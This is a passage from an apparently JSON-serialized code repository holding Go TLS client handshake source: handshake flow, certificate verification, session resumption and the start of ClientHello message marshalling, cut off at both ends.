mutualCipherSuite(hello.cipherSuites, session.cipherSuite) == nil {\n\t\treturn cacheKey, nil\n\t}\n\n\thello.sessionTicket = session.sessionTicket\n\treturn\n}\n\nfunc (c *Conn) pickTLSVersion(serverHello *serverHelloMsg) error {\n\tpeerVersion := serverHello.vers\n\tif serverHello.supportedVersion != 0 {\n\t\tpeerVersion = serverHello.supportedVersion\n\t}\n\n\tvers, ok := c.config.mutualVersion([]uint16{peerVersion})\n\tif !ok {\n\t\tc.sendAlert(alertProtocolVersion)\n\t\treturn fmt.Errorf(\"tls: server selected unsupported protocol version %x\", peerVersion)\n\t}\n\n\tc.vers = vers\n\tc.haveVers = true\n\tc.in.version = vers\n\tc.out.version = vers\n\n\treturn nil\n}\n\n// Does the handshake, either a full one or resumes old session. Requires hs.c,\n// hs.hello, hs.serverHello, and, optionally, hs.session to be set.\nfunc (hs *clientHandshakeState) handshake() error {\n\tc := hs.c\n\n\tisResume, err := hs.processServerHello()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ths.finishedHash = newFinishedHash(c.vers, hs.suite)\n\n\t// No signatures of the handshake are needed in a resumption.\n\t// Otherwise, in a full handshake, if we don't have any certificates\n\t// configured then we will never send a CertificateVerify message and\n\t// thus no signatures are needed in that case either.\n\tif isResume || (len(c.config.Certificates) == 0 && c.config.GetClientCertificate == nil) {\n\t\ths.finishedHash.discardHandshakeBuffer()\n\t}\n\n\ths.finishedHash.Write(hs.hello.marshal())\n\ths.finishedHash.Write(hs.serverHello.marshal())\n\n\tc.buffering = true\n\tif isResume {\n\t\tif err := hs.establishKeys(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := hs.readSessionTicket(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := hs.readFinished(c.serverFinished[:]); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tc.clientFinishedIsFirst = false\n\t\tif err := hs.sendFinished(c.clientFinished[:]); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif _, err := c.flush(); err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\tif err := hs.doFullHandshake(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := hs.establishKeys(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := hs.sendFinished(c.clientFinished[:]); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif _, err := c.flush(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tc.clientFinishedIsFirst = true\n\t\tif err := hs.readSessionTicket(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := hs.readFinished(c.serverFinished[:]); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tc.ekm = ekmFromMasterSecret(c.vers, hs.suite, hs.masterSecret, hs.hello.random, hs.serverHello.random)\n\tc.didResume = isResume\n\tatomic.StoreUint32(&c.handshakeStatus, 1)\n\n\treturn nil\n}\n\nfunc (hs *clientHandshakeState) pickCipherSuite() error {\n\tif hs.suite = mutualCipherSuite(hs.hello.cipherSuites, hs.serverHello.cipherSuite); hs.suite == nil {\n\t\ths.c.sendAlert(alertHandshakeFailure)\n\t\treturn errors.New(\"tls: server chose an unconfigured cipher suite\")\n\t}\n\n\ths.c.cipherSuite = hs.suite.id\n\treturn nil\n}\n\nfunc (hs *clientHandshakeState) doFullHandshake() error {\n\tc := hs.c\n\n\tmsg, err := c.readHandshake()\n\tif err != nil {\n\t\treturn err\n\t}\n\tcertMsg, ok := msg.(*certificateMsg)\n\tif !ok || len(certMsg.certificates) == 0 {\n\t\tc.sendAlert(alertUnexpectedMessage)\n\t\treturn unexpectedMessageError(certMsg, msg)\n\t}\n\ths.finishedHash.Write(certMsg.marshal())\n\n\tif c.handshakes == 0 {\n\t\t// If this is the first handshake on a connection, process and\n\t\t// (optionally) verify the server's certificates.\n\t\tif err := c.verifyServerCertificate(certMsg.certificates); err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\t// This is a renegotiation handshake. We require that the\n\t\t// server's identity (i.e. leaf certificate) is unchanged and\n\t\t// thus any previous trust decision is still valid.\n\t\t//\n\t\t// See https://mitls.org/pages/attacks/3SHAKE for the\n\t\t// motivation behind this requirement.\n\t\tif !bytes.Equal(c.peerCertificates[0].Raw, certMsg.certificates[0]) {\n\t\t\tc.sendAlert(alertBadCertificate)\n\t\t\treturn errors.New(\"tls: server's identity changed during renegotiation\")\n\t\t}\n\t}\n\n\tmsg, err = c.readHandshake()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tcs, ok := msg.(*certificateStatusMsg)\n\tif ok {\n\t\t// RFC4366 on Certificate Status Request:\n\t\t// The server MAY return a \"certificate_status\" message.\n\n\t\tif !hs.serverHello.ocspStapling {\n\t\t\t// If a server returns a \"CertificateStatus\" message, then the\n\t\t\t// server MUST have included an extension of type \"status_request\"\n\t\t\t// with empty \"extension_data\" in the extended server hello.\n\n\t\t\tc.sendAlert(alertUnexpectedMessage)\n\t\t\treturn errors.New(\"tls: received unexpected CertificateStatus message\")\n\t\t}\n\t\ths.finishedHash.Write(cs.marshal())\n\n\t\tc.ocspResponse = cs.response\n\n\t\tmsg, err = c.readHandshake()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tkeyAgreement := hs.suite.ka(c.vers)\n\n\tskx, ok := msg.(*serverKeyExchangeMsg)\n\tif ok {\n\t\ths.finishedHash.Write(skx.marshal())\n\t\terr = keyAgreement.processServerKeyExchange(c.config, hs.hello, hs.serverHello, c.peerCertificates[0], skx)\n\t\tif err != nil {\n\t\t\tc.sendAlert(alertUnexpectedMessage)\n\t\t\treturn err\n\t\t}\n\n\t\tmsg, err = c.readHandshake()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tvar chainToSend *Certificate\n\tvar certRequested bool\n\tcertReq, ok := msg.(*certificateRequestMsg)\n\tif ok {\n\t\tcertRequested = true\n\t\ths.finishedHash.Write(certReq.marshal())\n\n\t\tcri := certificateRequestInfoFromMsg(c.vers, certReq)\n\t\tif chainToSend, err = c.getClientCertificate(cri); err != nil {\n\t\t\tc.sendAlert(alertInternalError)\n\t\t\treturn err\n\t\t}\n\n\t\tmsg, err = c.readHandshake()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tshd, ok := msg.(*serverHelloDoneMsg)\n\tif !ok {\n\t\tc.sendAlert(alertUnexpectedMessage)\n\t\treturn unexpectedMessageError(shd, msg)\n\t}\n\ths.finishedHash.Write(shd.marshal())\n\n\t// If the server requested a certificate then we have to send a\n\t// Certificate message, even if it's empty because we don't have a\n\t// certificate to send.\n\tif certRequested {\n\t\tcertMsg = new(certificateMsg)\n\t\tcertMsg.certificates = chainToSend.Certificate\n\t\ths.finishedHash.Write(certMsg.marshal())\n\t\tif _, err := c.writeRecord(recordTypeHandshake, certMsg.marshal()); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tpreMasterSecret, ckx, err := keyAgreement.generateClientKeyExchange(c.config, hs.hello, c.peerCertificates[0])\n\tif err != nil {\n\t\tc.sendAlert(alertInternalError)\n\t\treturn err\n\t}\n\tif ckx != nil {\n\t\ths.finishedHash.Write(ckx.marshal())\n\t\tif _, err := c.writeRecord(recordTypeHandshake, ckx.marshal()); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif chainToSend != nil && len(chainToSend.Certificate) > 0 {\n\t\tcertVerify := &certificateVerifyMsg{}\n\n\t\tkey, ok := chainToSend.PrivateKey.(crypto.Signer)\n\t\tif !ok {\n\t\t\tc.sendAlert(alertInternalError)\n\t\t\treturn fmt.Errorf(\"tls: client certificate private key of type %T does not implement crypto.Signer\", chainToSend.PrivateKey)\n\t\t}\n\n\t\tvar sigType uint8\n\t\tvar sigHash crypto.Hash\n\t\tif c.vers >= VersionTLS12 {\n\t\t\tsignatureAlgorithm, err := selectSignatureScheme(c.vers, chainToSend, certReq.supportedSignatureAlgorithms)\n\t\t\tif err != nil {\n\t\t\t\tc.sendAlert(alertIllegalParameter)\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tsigType, sigHash, err = typeAndHashFromSignatureScheme(signatureAlgorithm)\n\t\t\tif err != nil {\n\t\t\t\treturn c.sendAlert(alertInternalError)\n\t\t\t}\n\t\t\tcertVerify.hasSignatureAlgorithm = true\n\t\t\tcertVerify.signatureAlgorithm = signatureAlgorithm\n\t\t} else {\n\t\t\tsigType, sigHash, err = legacyTypeAndHashFromPublicKey(key.Public())\n\t\t\tif err != nil {\n\t\t\t\tc.sendAlert(alertIllegalParameter)\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tsigned := hs.finishedHash.hashForClientCertificate(sigType, sigHash)\n\t\tsignOpts := crypto.SignerOpts(sigHash)\n\t\tif sigType == signatureRSAPSS {\n\t\t\tsignOpts = &rsa.PSSOptions{SaltLength: rsa.PSSSaltLengthEqualsHash, Hash: sigHash}\n\t\t}\n\t\tcertVerify.signature, err = key.Sign(c.config.rand(), signed, signOpts)\n\t\tif err != nil {\n\t\t\tc.sendAlert(alertInternalError)\n\t\t\treturn err\n\t\t}\n\n\t\ths.finishedHash.Write(certVerify.marshal())\n\t\tif _, err := c.writeRecord(recordTypeHandshake, certVerify.marshal()); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\ths.masterSecret = masterFromPreMasterSecret(c.vers, hs.suite, preMasterSecret, hs.hello.random, hs.serverHello.random)\n\tif err := c.config.writeKeyLog(keyLogLabelTLS12, hs.hello.random, hs.masterSecret); err != nil {\n\t\tc.sendAlert(alertInternalError)\n\t\treturn errors.New(\"tls: failed to write to key log: \" + err.Error())\n\t}\n\n\ths.finishedHash.discardHandshakeBuffer()\n\n\treturn nil\n}\n\nfunc (hs *clientHandshakeState) establishKeys() error {\n\tc := hs.c\n\n\tclientMAC, serverMAC, clientKey, serverKey, clientIV, serverIV :=\n\t\tkeysFromMasterSecret(c.vers, hs.suite, hs.masterSecret, hs.hello.random, hs.serverHello.random, hs.suite.macLen, hs.suite.keyLen, hs.suite.ivLen)\n\tvar clientCipher, serverCipher interface{}\n\tvar clientHash, serverHash macFunction\n\tif hs.suite.cipher != nil {\n\t\tclientCipher = hs.suite.cipher(clientKey, clientIV, false /* not for reading */)\n\t\tclientHash = hs.suite.mac(c.vers, clientMAC)\n\t\tserverCipher = hs.suite.cipher(serverKey, serverIV, true /* for reading */)\n\t\tserverHash = hs.suite.mac(c.vers, serverMAC)\n\t} else {\n\t\tclientCipher = hs.suite.aead(clientKey, clientIV)\n\t\tserverCipher = hs.suite.aead(serverKey, serverIV)\n\t}\n\n\tc.in.prepareCipherSpec(c.vers, serverCipher, serverHash)\n\tc.out.prepareCipherSpec(c.vers, clientCipher, clientHash)\n\treturn nil\n}\n\nfunc (hs *clientHandshakeState) serverResumedSession() bool {\n\t// If the server responded with the same sessionId then it means the\n\t// sessionTicket is being used to resume a TLS session.\n\treturn hs.session != nil && hs.hello.sessionId != nil &&\n\t\tbytes.Equal(hs.serverHello.sessionId, hs.hello.sessionId)\n}\n\nfunc (hs *clientHandshakeState) processServerHello() (bool, error) {\n\tc := hs.c\n\n\tif err := hs.pickCipherSuite(); err != nil {\n\t\treturn false, err\n\t}\n\n\tif hs.serverHello.compressionMethod != compressionNone {\n\t\tc.sendAlert(alertUnexpectedMessage)\n\t\treturn false, errors.New(\"tls: server selected unsupported compression format\")\n\t}\n\n\tif c.handshakes == 0 && hs.serverHello.secureRenegotiationSupported {\n\t\tc.secureRenegotiation = true\n\t\tif len(hs.serverHello.secureRenegotiation) != 0 {\n\t\t\tc.sendAlert(alertHandshakeFailure)\n\t\t\treturn false, errors.New(\"tls: initial handshake had non-empty renegotiation extension\")\n\t\t}\n\t}\n\n\tif c.handshakes > 0 && c.secureRenegotiation {\n\t\tvar expectedSecureRenegotiation [24]byte\n\t\tcopy(expectedSecureRenegotiation[:], c.clientFinished[:])\n\t\tcopy(expectedSecureRenegotiation[12:], c.serverFinished[:])\n\t\tif !bytes.Equal(hs.serverHello.secureRenegotiation, expectedSecureRenegotiation[:]) {\n\t\t\tc.sendAlert(alertHandshakeFailure)\n\t\t\treturn false, errors.New(\"tls: incorrect renegotiation extension contents\")\n\t\t}\n\t}\n\n\tclientDidALPN := len(hs.hello.alpnProtocols) > 0\n\tserverHasALPN := len(hs.serverHello.alpnProtocol) > 0\n\n\tif !clientDidALPN && serverHasALPN {\n\t\tc.sendAlert(alertHandshakeFailure)\n\t\treturn false, errors.New(\"tls: server advertised unrequested ALPN extension\")\n\t}\n\n\tif serverHasALPN {\n\t\tc.clientProtocol = hs.serverHello.alpnProtocol\n\t\tc.clientProtocolFallback = false\n\t}\n\tc.scts = hs.serverHello.scts\n\n\tif !hs.serverResumedSession() {\n\t\treturn false, nil\n\t}\n\n\tif hs.session.vers != c.vers {\n\t\tc.sendAlert(alertHandshakeFailure)\n\t\treturn false, errors.New(\"tls: server resumed a session with a different version\")\n\t}\n\n\tif hs.session.cipherSuite != hs.suite.id {\n\t\tc.sendAlert(alertHandshakeFailure)\n\t\treturn false, errors.New(\"tls: server resumed a session with a different cipher suite\")\n\t}\n\n\t// Restore masterSecret and peerCerts from previous state\n\ths.masterSecret = hs.session.masterSecret\n\tc.peerCertificates = hs.session.serverCertificates\n\tc.verifiedChains = hs.session.verifiedChains\n\treturn true, nil\n}\n\nfunc (hs *clientHandshakeState) readFinished(out []byte) error {\n\tc := hs.c\n\n\tif err := c.readChangeCipherSpec(); err != nil {\n\t\treturn err\n\t}\n\n\tmsg, err := c.readHandshake()\n\tif err != nil {\n\t\treturn err\n\t}\n\tserverFinished, ok := msg.(*finishedMsg)\n\tif !ok {\n\t\tc.sendAlert(alertUnexpectedMessage)\n\t\treturn unexpectedMessageError(serverFinished, msg)\n\t}\n\n\tverify := hs.finishedHash.serverSum(hs.masterSecret)\n\tif len(verify) != len(serverFinished.verifyData) ||\n\t\tsubtle.ConstantTimeCompare(verify, serverFinished.verifyData) != 1 {\n\t\tc.sendAlert(alertHandshakeFailure)\n\t\treturn errors.New(\"tls: server's Finished message was incorrect\")\n\t}\n\ths.finishedHash.Write(serverFinished.marshal())\n\tcopy(out, verify)\n\treturn nil\n}\n\nfunc (hs *clientHandshakeState) readSessionTicket() error {\n\tif !hs.serverHello.ticketSupported {\n\t\treturn nil\n\t}\n\n\tc := hs.c\n\tmsg, err := c.readHandshake()\n\tif err != nil {\n\t\treturn err\n\t}\n\tsessionTicketMsg, ok := msg.(*newSessionTicketMsg)\n\tif !ok {\n\t\tc.sendAlert(alertUnexpectedMessage)\n\t\treturn unexpectedMessageError(sessionTicketMsg, msg)\n\t}\n\ths.finishedHash.Write(sessionTicketMsg.marshal())\n\n\ths.session = &ClientSessionState{\n\t\tsessionTicket:      sessionTicketMsg.ticket,\n\t\tvers:               c.vers,\n\t\tcipherSuite:        hs.suite.id,\n\t\tmasterSecret:       hs.masterSecret,\n\t\tserverCertificates: c.peerCertificates,\n\t\tverifiedChains:     c.verifiedChains,\n\t\treceivedAt:         c.config.time(),\n\t}\n\n\treturn nil\n}\n\nfunc (hs *clientHandshakeState) sendFinished(out []byte) error {\n\tc := hs.c\n\n\tif _, err := c.writeRecord(recordTypeChangeCipherSpec, []byte{1}); err != nil {\n\t\treturn err\n\t}\n\n\tfinished := new(finishedMsg)\n\tfinished.verifyData = hs.finishedHash.clientSum(hs.masterSecret)\n\ths.finishedHash.Write(finished.marshal())\n\tif _, err := c.writeRecord(recordTypeHandshake, finished.marshal()); err != nil {\n\t\treturn err\n\t}\n\tcopy(out, finished.verifyData)\n\treturn nil\n}\n\n// verifyServerCertificate parses and verifies the provided chain, setting\n// c.verifiedChains and c.peerCertificates or sending the appropriate alert.\nfunc (c *Conn) verifyServerCertificate(certificates [][]byte) error {\n\tcerts := make([]*x509.Certificate, len(certificates))\n\tfor i, asn1Data := range certificates {\n\t\tcert, err := x509.ParseCertificate(asn1Data)\n\t\tif err != nil {\n\t\t\tc.sendAlert(alertBadCertificate)\n\t\t\treturn errors.New(\"tls: failed to parse certificate from server: \" + err.Error())\n\t\t}\n\t\tcerts[i] = cert\n\t}\n\n\tif !c.config.InsecureSkipVerify {\n\t\topts := x509.VerifyOptions{\n\t\t\tRoots:         c.config.RootCAs,\n\t\t\tCurrentTime:   c.config.time(),\n\t\t\tDNSName:       c.config.ServerName,\n\t\t\tIntermediates: x509.NewCertPool(),\n\t\t}\n\t\tfor _, cert := range certs[1:] {\n\t\t\topts.Intermediates.AddCert(cert)\n\t\t}\n\t\tvar err error\n\t\tc.verifiedChains, err = certs[0].Verify(opts)\n\t\tif err != nil {\n\t\t\tc.sendAlert(alertBadCertificate)\n\t\t\treturn err\n\t\t}\n\t}\n\n\tswitch certs[0].PublicKey.(type) {\n\tcase *rsa.PublicKey, *ecdsa.PublicKey, ed25519.PublicKey:\n\t\tbreak\n\tdefault:\n\t\tc.sendAlert(alertUnsupportedCertificate)\n\t\treturn fmt.Errorf(\"tls: server's certificate contains an unsupported type of public key: %T\", certs[0].PublicKey)\n\t}\n\n\tc.peerCertificates = certs\n\n\treturn nil\n}\n\n// tls11SignatureSchemes contains the signature schemes that we synthesise for\n// a TLS <= 1.1 connection, based on the supported certificate types.\nvar (\n\ttls11SignatureSchemes      = []SignatureScheme{ECDSAWithP256AndSHA256, ECDSAWithP384AndSHA384, ECDSAWithP521AndSHA512, PKCS1WithSHA256, PKCS1WithSHA384, PKCS1WithSHA512, PKCS1WithSHA1}\n\ttls11SignatureSchemesECDSA = tls11SignatureSchemes[:3]\n\ttls11SignatureSchemesRSA   = tls11SignatureSchemes[3:]\n)\n\n// certificateRequestInfoFromMsg generates a CertificateRequestInfo from a TLS\n// <= 1.2 CertificateRequest, making an effort to fill in missing information.\nfunc certificateRequestInfoFromMsg(vers uint16, certReq *certificateRequestMsg) *CertificateRequestInfo {\n\tcri := &CertificateRequestInfo{\n\t\tAcceptableCAs: certReq.certificateAuthorities,\n\t\tVersion:       vers,\n\t}\n\n\tvar rsaAvail, ecAvail bool\n\tfor _, certType := range certReq.certificateTypes {\n\t\tswitch certType {\n\t\tcase certTypeRSASign:\n\t\t\trsaAvail = true\n\t\tcase certTypeECDSASign:\n\t\t\tecAvail = true\n\t\t}\n\t}\n\n\tif !certReq.hasSignatureAlgorithm {\n\t\t// Prior to TLS 1.2, the signature schemes were not\n\t\t// included in the certificate request message. In this\n\t\t// case we use a plausible list based on the acceptable\n\t\t// certificate types.\n\t\tswitch {\n\t\tcase rsaAvail && ecAvail:\n\t\t\tcri.SignatureSchemes = tls11SignatureSchemes\n\t\tcase rsaAvail:\n\t\t\tcri.SignatureSchemes = tls11SignatureSchemesRSA\n\t\tcase ecAvail:\n\t\t\tcri.SignatureSchemes = tls11SignatureSchemesECDSA\n\t\t}\n\t\treturn cri\n\t}\n\n\t// Filter the signature schemes based on the certificate types.\n\t// See RFC 5246, Section 7.4.4 (where it calls this \"somewhat complicated\").\n\tcri.SignatureSchemes = make([]SignatureScheme, 0, len(certReq.supportedSignatureAlgorithms))\n\tfor _, sigScheme := range certReq.supportedSignatureAlgorithms {\n\t\tsigType, _, err := typeAndHashFromSignatureScheme(sigScheme)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tswitch sigType {\n\t\tcase signatureECDSA, signatureEd25519:\n\t\t\tif ecAvail {\n\t\t\t\tcri.SignatureSchemes = append(cri.SignatureSchemes, sigScheme)\n\t\t\t}\n\t\tcase signatureRSAPSS, signaturePKCS1v15:\n\t\t\tif rsaAvail {\n\t\t\t\tcri.SignatureSchemes = append(cri.SignatureSchemes, sigScheme)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn cri\n}\n\nfunc (c *Conn) getClientCertificate(cri *CertificateRequestInfo) (*Certificate, error) {\n\tif c.config.GetClientCertificate != nil {\n\t\treturn c.config.GetClientCertificate(cri)\n\t}\n\n\tfor _, chain := range c.config.Certificates {\n\t\tif err := cri.SupportsCertificate(&chain); err != nil {\n\t\t\tcontinue\n\t\t}\n\t\treturn &chain, nil\n\t}\n\n\t// No acceptable certificate found. Don't send a certificate.\n\treturn new(Certificate), nil\n}\n\n// clientSessionCacheKey returns a key used to cache sessionTickets that could\n// be used to resume previously negotiated TLS sessions with a server.\nfunc clientSessionCacheKey(serverAddr net.Addr, config *Config) string {\n\tif len(config.ServerName) > 0 {\n\t\treturn config.ServerName\n\t}\n\treturn serverAddr.String()\n}\n\n// hostnameInSNI converts name into an appropriate hostname for SNI.\n// Literal IP addresses and absolute FQDNs are not permitted as SNI values.\n// See RFC 6066, Section 3.\nfunc hostnameInSNI(name string) string {\n\thost := name\n\tif len(host) > 0 && host[0] == '[' && host[len(host)-1] == ']' {\n\t\thost = host[1 : len(host)-1]\n\t}\n\tif i := strings.LastIndex(host, \"%\"); i > 0 {\n\t\thost = host[:i]\n\t}\n\tif net.ParseIP(host) != nil {\n\t\treturn \"\"\n\t}\n\tfor len(name) > 0 && name[len(name)-1] == '.' {\n\t\tname = name[:len(name)-1]\n\t}\n\treturn name\n}\n"
  },
  {
    "path": "tls/handshake_messages.go",
    "content": "// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage tls\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\n\t\"golang.org/x/crypto/cryptobyte\"\n)\n\n// The marshalingFunction type is an adapter to allow the use of ordinary\n// functions as cryptobyte.MarshalingValue.\ntype marshalingFunction func(b *cryptobyte.Builder) error\n\nfunc (f marshalingFunction) Marshal(b *cryptobyte.Builder) error {\n\treturn f(b)\n}\n\n// addBytesWithLength appends a sequence of bytes to the cryptobyte.Builder. If\n// the length of the sequence is not the value specified, it produces an error.\nfunc addBytesWithLength(b *cryptobyte.Builder, v []byte, n int) {\n\tb.AddValue(marshalingFunction(func(b *cryptobyte.Builder) error {\n\t\tif len(v) != n {\n\t\t\treturn fmt.Errorf(\"invalid value length: expected %d, got %d\", n, len(v))\n\t\t}\n\t\tb.AddBytes(v)\n\t\treturn nil\n\t}))\n}\n\n// readUint8LengthPrefixed acts like s.ReadUint8LengthPrefixed, but targets a\n// []byte instead of a cryptobyte.String.\nfunc readUint8LengthPrefixed(s *cryptobyte.String, out *[]byte) bool {\n\treturn s.ReadUint8LengthPrefixed((*cryptobyte.String)(out))\n}\n\n// readUint16LengthPrefixed acts like s.ReadUint16LengthPrefixed, but targets a\n// []byte instead of a cryptobyte.String.\nfunc readUint16LengthPrefixed(s *cryptobyte.String, out *[]byte) bool {\n\treturn s.ReadUint16LengthPrefixed((*cryptobyte.String)(out))\n}\n\n// readUint24LengthPrefixed acts like s.ReadUint24LengthPrefixed, but targets a\n// []byte instead of a cryptobyte.String.\nfunc readUint24LengthPrefixed(s *cryptobyte.String, out *[]byte) bool {\n\treturn s.ReadUint24LengthPrefixed((*cryptobyte.String)(out))\n}\n\ntype clientHelloMsg struct {\n\traw                              []byte\n\tvers                             uint16\n\trandom                           []byte\n\tsessionId                        []byte\n\tcipherSuites                     []uint16\n\tcompressionMethods               []uint8\n\tserverName                       string\n\tocspStapling                     bool\n\tsupportedCurves                  []CurveID\n\tsupportedPoints                  []uint8\n\tticketSupported                  bool\n\tsessionTicket                    []uint8\n\tsupportedSignatureAlgorithms     []SignatureScheme\n\tsupportedSignatureAlgorithmsCert []SignatureScheme\n\tsecureRenegotiationSupported     bool\n\tsecureRenegotiation              []byte\n\talpnProtocols                    []string\n\tscts                             bool\n\tsupportedVersions                []uint16\n\tcookie                           []byte\n\tkeyShares                        []keyShare\n\tearlyData                        bool\n\tpskModes                         []uint8\n\tpskBinders                       [][]byte\n}\n\nfunc (m *clientHelloMsg) marshal() []byte {\n\tif m.raw != nil {\n\t\treturn m.raw\n\t}\n\n\tvar b cryptobyte.Builder\n\tb.AddUint8(typeClientHello)\n\tb.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\tb.AddUint16(m.vers)\n\t\taddBytesWithLength(b, m.random, 32)\n\t\tb.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\tb.AddBytes(m.sessionId)\n\t\t})\n\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\tfor _, suite := range m.cipherSuites {\n\t\t\t\tb.AddUint16(suite)\n\t\t\t}\n\t\t})\n\t\tb.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\tb.AddBytes(m.compressionMethods)\n\t\t})\n\n\t\t// If extensions aren't present, omit them.\n\t\tvar extensionsPresent bool\n\t\tbWithoutExtensions := *b\n\n\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\tif len(m.serverName) > 0 {\n\t\t\t\t// RFC 6066, Section 3\n\t\t\t\tb.AddUint16(extensionServerName)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\tb.AddUint8(0) // name_type = host_name\n\t\t\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\t\tb.AddBytes([]byte(m.serverName))\n\t\t\t\t\t\t})\n\t\t\t\t\t})\n\t\t\t\t})\n\t\t\t}\n\t\t\tif m.ocspStapling {\n\t\t\t\t// RFC 4366, Section 3.6\n\t\t\t\tb.AddUint16(extensionStatusRequest)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint8(1)  // status_type = ocsp\n\t\t\t\t\tb.AddUint16(0) // empty responder_id_list\n\t\t\t\t\tb.AddUint16(0) // empty request_extensions\n\t\t\t\t})\n\t\t\t}\n\t\t\tif len(m.supportedCurves) > 0 {\n\t\t\t\t// RFC 4492, sections 5.1.1 and RFC 8446, Section 4.2.7\n\t\t\t\tb.AddUint16(extensionSupportedCurves)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\tfor _, curve := range m.supportedCurves {\n\t\t\t\t\t\t\tb.AddUint16(uint16(curve))\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\t})\n\t\t\t}\n\t\t\tif len(m.supportedPoints) > 0 {\n\t\t\t\t// RFC 4492, Section 5.1.2\n\t\t\t\tb.AddUint16(extensionSupportedPoints)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\tb.AddBytes(m.supportedPoints)\n\t\t\t\t\t})\n\t\t\t\t})\n\t\t\t}\n\t\t\tif m.ticketSupported {\n\t\t\t\t// RFC 5077, Section 3.2\n\t\t\t\tb.AddUint16(extensionSessionTicket)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddBytes(m.sessionTicket)\n\t\t\t\t})\n\t\t\t}\n\t\t\tif len(m.supportedSignatureAlgorithms) > 0 {\n\t\t\t\t// RFC 5246, Section 7.4.1.4.1\n\t\t\t\tb.AddUint16(extensionSignatureAlgorithms)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\tfor _, sigAlgo := range m.supportedSignatureAlgorithms {\n\t\t\t\t\t\t\tb.AddUint16(uint16(sigAlgo))\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\t})\n\t\t\t}\n\t\t\tif len(m.supportedSignatureAlgorithmsCert) > 0 {\n\t\t\t\t// RFC 8446, Section 4.2.3\n\t\t\t\tb.AddUint16(extensionSignatureAlgorithmsCert)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\tfor _, sigAlgo := range m.supportedSignatureAlgorithmsCert {\n\t\t\t\t\t\t\tb.AddUint16(uint16(sigAlgo))\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\t})\n\t\t\t}\n\t\t\tif m.secureRenegotiationSupported {\n\t\t\t\t// RFC 5746, Section 3.2\n\t\t\t\tb.AddUint16(extensionRenegotiationInfo)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\tb.AddBytes(m.secureRenegotiation)\n\t\t\t\t\t})\n\t\t\t\t})\n\t\t\t}\n\t\t\tif len(m.alpnProtocols) > 0 {\n\t\t\t\t// RFC 7301, Section 3.1\n\t\t\t\tb.AddUint16(extensionALPN)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\tfor _, proto := range m.alpnProtocols {\n\t\t\t\t\t\t\tb.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\t\t\tb.AddBytes([]byte(proto))\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\t})\n\t\t\t}\n\t\t\tif m.scts {\n\t\t\t\t// RFC 6962, Section 3.3.1\n\t\t\t\tb.AddUint16(extensionSCT)\n\t\t\t\tb.AddUint16(0) // empty extension_data\n\t\t\t}\n\t\t\tif len(m.supportedVersions) > 0 {\n\t\t\t\t// RFC 8446, 